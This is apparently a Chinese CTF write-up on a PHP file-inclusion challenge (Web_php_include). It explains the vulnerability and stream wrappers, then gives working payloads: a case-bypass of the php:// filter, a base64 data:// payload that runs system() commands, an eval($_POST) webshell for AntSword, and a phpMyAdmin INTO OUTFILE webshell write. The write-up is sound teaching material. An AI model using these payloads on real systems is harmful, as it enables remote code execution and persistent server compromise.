文章目录

  • 前言
    • 1.文件包含漏洞
    • 2.php伪协议
    • 3.php包含漏洞函数
  • 一、Web_php_include
    • 1.题目
    • 2.答题
      • 2.1 伪协议解题
      • 2.2 中国蚁剑
      • 2.3 数据库写入

前言

1.文件包含漏洞

文件包含漏洞(File Inclusion Vulnerability)是一种常见的Web应用程序漏洞,攻击者可以通过Web应用程序的漏洞,以某种形式包含恶意文件,或者包含在Web服务器上的其他敏感文件,从而实现权限提升、信息泄露、远程代码执行等攻击。

具体案例介绍包括:

  • PHP系统中的文件包含漏洞:攻击者可以利用PHP特有的文件包含函数include()或require()来实现代码执行攻击,例如常见的漏洞文件为:

    //定义一个变量$file并将其传递给include函数中执行
    $file = $_GET['file'];
    include($file);
    

    攻击者通过修改传递的$file变量,替换为恶意代码文件,最终实现远程代码执行攻击。

  • JSP系统中的文件包含漏洞:JSP脚本中包含的内容可以是任何JSP页面、HTML或纯文本。在其中使用<%@ include file=""/%>指令来包含其他JSP文件中的代码。攻击者可以通过修改包含指令中的传递的参数值,来实现包含恶意文件,导致远程代码执行漏洞。

  • ASP系统中的文件包含漏洞:ASP脚本也存在类似于PHP和JSP的文件包含漏洞,攻击者可以利用Server.Execute()、Include()等函数访问其他文件并引用其中的内容,通过修改参数值来执行恶意代码达到攻击目的。

以上三种常见的文件包含漏洞案例只是冰山一角,现实世界中还存在很多其他的文件包含漏洞,系统管理员需要针对不同情况采取不同措施,保障系统的安全性。

2.php伪协议

php://filter 是一个可以在 PHP 中进行数据过滤和流处理的协议。它可以让你通过一些特定的过滤器来处理各种数据流,包括文件,HTTP 请求,以及其它的输入和输出数据流。这些过滤器可以用于实现各种功能,例如数据加密和解密,数据压缩和解压缩,以及数据格式转换等。不过需要注意的是,如果使用不当,该协议也可能导致一些安全问题。协议的语法:

php://filter/[标准输入输出流标识][使用的过滤器]

其中,[标准输入输出流标识] 可以是以下字符串之一:

  • read: 表示标准输入流(stdin)
  • write: 表示标准输出流(stdout)
  • 其它文件系统可用流标识符,比如 php://temp (临时流)和 php://memory(内存流)等。

而 [使用的过滤器] 部分则是一个或多个 PHP 过滤器名称,多个过滤器名称以 | 分隔。例如:urlencode|strip_tags

例如,如果您想使用 urlencode 过滤器将一段字符串编码并将其写入标准输出流(stdout),您可以使用以下语法:

php://filter/write=urlencode|stdout

php://input 是一个伪协议,它允许开发者从请求体中获取原始的 POST 数据,具体语法为:

php://input

使用时,一般可以按以下步骤实现:

  • 使用 file_get_contents 函数读取 php://input ;
  • 使用 json_decode 函数解析 POST 数据;
  • 使用解析后的数据进行后续操作。

需要注意的是,使用 php://input 时需要确保请求数据采用 POST 方法传输。

3.php包含漏洞函数

文件包含漏洞也是一种“注入型漏洞”,其本质就是输入一段用户能够控制的脚本或者代码,并让服务器端执行。

  • require(),找不到被包含的文件时会产生致命错误,并停止脚本运行。
  • include(),找不到被包含的文件时只会产生警告,脚本将继续运行。
  • include_once()与include()类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。
  • require_once()与require()类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。

一、Web_php_include

1.题目

2.答题

2.1 伪协议解题

打开页面得到如下代码

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {$page=str_replace("php://", "", $page);
}
include($page);
?>

分析代码可知程序过滤掉了page=参数传入php://

使用大小写绕过由于strstr()这个函数是区分大小写的所以我们可以转换成大小写用PHP://input

Post传输恶意代码


得到目录

data://伪协议执行命令利用

<?php system("cat fl4gisisish3r3.php")?> base64编码后使用

?page=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJjYXQgZmw0Z2lzaXNpc2gzcjMucGhwIik/Pg==

查看源码得到flag:ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}

2.2 中国蚁剑

<?php eval($_POST[xiaohua]); ?> base64加密后拼接

http://111.200.241.244:62364/?page=data://text/plain/;base64,PD9waHAgZXZhbCgkX1BPU1RbeGlhb2h1YV0pOyA/Pg==

蚁剑连接就好

2.3 数据库写入

御剑扫描获得phpmyadmin root 密码空进入

数据库执行这条命令查看secure_file_priv是否为空,为空则可以写数据如果是null不能写

SHOW VARIABLES LIKE "secure_file_priv"

linux默认tmp是可写目录 试试写入一句话马菜刀连接

SELECT "<?php eval(@$_POST['xiaohua']); ?>"
INTO OUTFILE '/tmp/test1.php'

【愚公系列】2023年05月 攻防世界-Web(Web_php_include)相关推荐

  1. 【愚公系列】2023年05月 攻防世界-Web(lottery)

    文章目录 前言 一.lottery 1.题目 2.答题 前言 dirsearch是一个用于Web服务器的爬虫工具,它可以快速地扫描网站的目录,并找出隐藏的文件和目录.dirsearch可以检测出许多常 ...

  2. 【愚公系列】2023年05月 攻防世界-Web(unseping)

    文章目录 前言 一.unseping 1.题目 2.答题 前言 反序列化漏洞是一种安全漏洞,存在于那些使用序列化技术的应用程序中.反序列化是将已序列化数据还原回对象的过程.攻击者可以通过构造恶意序列化 ...

  3. 【愚公系列】2023年05月 攻防世界-Web(shrine)

    文章目录 前言 一.shrine 1.题目 2.答题 前言 Flask是一个轻量级的Web应用程序框架,用于Python编程语言.它是基于Werkzeug WSGI工具箱和Jinja2模板引擎构建的. ...

  4. 【愚公系列】2023年05月 攻防世界-Web(FlatScience)

    文章目录 前言 一.FlatScience 1.题目 2.答题 前言 Robots协议,也称作robots.txt,是一种在Web站点中告诉搜索引擎蜘蛛哪些页面可以被访问的协议.该协议规定了机器人在访 ...

  5. 【愚公系列】2023年05月 攻防世界-Web(file_include)

    文章目录 前言 1.文件包含漏洞 2.php伪协议 3.php包含漏洞函数 一.file_include 1.题目 2.答题 总结 前言 1.文件包含漏洞 文件包含漏洞(File Inclusion ...

  6. 【愚公系列】2023年05月 攻防世界-Web(fileclude)

    文章目录 前言 1.文件包含漏洞 2.php伪协议 一.fileclude 1.题目 2.答题 前言 1.文件包含漏洞 文件包含漏洞(File Inclusion Vulnerability)是一种常 ...

  7. 【愚公系列】2023年05月 攻防世界-Web(fileinclude)

    文章目录 前言 1.文件包含漏洞 2.php伪协议 一.fileinclude 1.题目 2.答题 前言 1.文件包含漏洞 文件包含漏洞(File Inclusion Vulnerability)是一 ...

  8. 【愚公系列】2023年05月 攻防世界-Web(Web_php_unserialize)

    文章目录 前言 一.Web_php_unserialize 1.题目 2.答题 前言 PHP的序列化漏洞是一种安全漏洞,攻击者可以利用这种漏洞来执行恶意代码或获取敏感信息.具体来说,攻击者可以通过在序 ...

  9. 【愚公系列】2023年05月 攻防世界-Web(Confusion1)

    文章目录 前言 一.Confusion1 1.题目 2.答题 前言 SSTI漏洞(Server Side Template Injection,服务端模板注入漏洞)是一种 web 应用程序中的安全漏洞 ...

最新文章

  1. EditText / This text field does not specify an inputType or a hint
  2. python3.5链接SQL2017,读取数据库中的数据
  3. 全局变量-global关键字修改全局变量
  4. LeetCode 1658. 将 x 减到 0 的最小操作数(哈希)
  5. 程序员的进阶课-架构师之路(5)-队列
  6. IE6和其他浏览器的css样式不同
  7. boolean怎么用_游戏里的NPC是怎么“思考”的?深入分析来了!
  8. Hibernate中创建Session(会话)接口的方法
  9. idea 主题文字大小修改
  10. openCv 图像顺时针 逆时针旋转
  11. 如何改变hr标签的颜色
  12. Python:数据导出到Excel(使用xlwt)
  13. C#winform中OpenFileDialog的用法
  14. 【高等数学】(底数>1和底数<1的)幂函数的图像
  15. 计算机信息化教育的意义,论信息技术对于教育的重要性
  16. 诺亚舟linux系统游戏,【Ons模拟器下载】Ons模拟器2020电脑版 正式版-趣致软件园...
  17. BZOJ 1116: [POI2008]CLO
  18. 计算机网络 华南理工大学期末重点 第四章 网络层 谢希仁
  19. 小学奥数题001(Python实现)
  20. 怎么判断一个对象是空的

热门文章

  1. GEE:时间序列分析2——将Landsat5、7、8所有影像合成一个影像集合,构建NDVI时间序列
  2. 正则表达式对qq号码进行校验
  3. VG mirror中PV丢失处理过程
  4. 去除Reloaded modules: lib, lib.utils, lib.metrics, lib.data_preparation, model, model.model_config
  5. centos8安装Nginx时报错 nginx.service: Unit cannot be reloaded becau lines 1-5
  6. 轻松绕过极域电子教室、和教师控制 Say GoodBye
  7. 20190配电网设备标准化设计 0.4KV低压开关柜中 综合监测装置要求
  8. 基础C语言知识串串香7☞位操作
  9. pdffactory 打印字体_PdfFactory(虚拟打印机) V7.28 官方版
  10. 如何开启谷歌浏览器的实验室功能